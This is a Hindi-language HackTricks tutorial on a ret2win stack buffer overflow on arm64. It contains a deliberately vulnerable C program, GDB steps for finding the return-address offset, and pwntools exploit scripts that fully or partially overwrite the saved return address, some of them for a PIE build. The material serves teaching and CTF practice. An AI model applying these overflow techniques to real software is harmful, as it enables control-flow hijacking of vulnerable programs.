Ret2win - arm64

Ret2win - arm64

HackTricks का समर्थन करें

arm64 का परिचय यहाँ पाएं:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

बिना पीआईई और कैनरी के संकलित करें:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

ऑफ़सेट खोजना

पैटर्न विकल्प

यह उदाहरण GEF का उपयोग करके बनाया गया था:

GEF के साथ gdb शुरू करें, पैटर्न बनाएं और इसका उपयोग करें:

gdb -q ./ret2win
pattern create 200
run

arm64 x30 (जो कि समझौता किया गया था) में पते पर लौटने की कोशिश करेगा, हम इसका उपयोग पैटर्न ऑफसेट खोजने के लिए कर सकते हैं:

pattern search $x30

ऑफसेट 72 है (9x48)।

स्टैक ऑफसेट विकल्प

pc रजिस्टर संग्रहीत होने वाले स्टैक पते को प्राप्त करने से शुरू करें:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

अब read() के बाद एक ब्रेकपॉइंट सेट करें और तब तक जारी रखें जब तक read() निष्पादित न हो जाए और एक पैटर्न सेट करें जैसे 13371337:

b *vulnerable_function+28
c

याद रखें कि यह पैटर्न मेमोरी में कहाँ संग्रहीत है:

फिर: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

कोई PIE नहीं

नियमित

win फ़ंक्शन का पता प्राप्त करें:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

शोषण:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

वास्तव में, यह स्टैक में संग्रहीत PC में एक off-by-2 की तरह होने वाला है। सभी रिटर्न पते को ओवरराइट करने के बजाय, हम केवल अंतिम 2 बाइट्स को 0x06c4 के साथ ओवरराइट करने जा रहे हैं।

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

आप ARM64 में एक और off-by-one उदाहरण https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ पर पा सकते हैं, जो एक काल्पनिक भेद्यता में वास्तविक off-by-one है।

With PIE

बाइनरी को -no-pie तर्क के बिना संकलित करें

Off-by-2

बिना किसी leak के, हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है, लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जिस रिटर्न पते को ओवरराइट कर रहे हैं, वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन का ऑफ़सेट (0x7d4) लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()


<div data-gb-custom-block data-tag="hint" data-style='success'>

सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricks का समर्थन करें</summary>

* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।

</details>

</div>

Last updated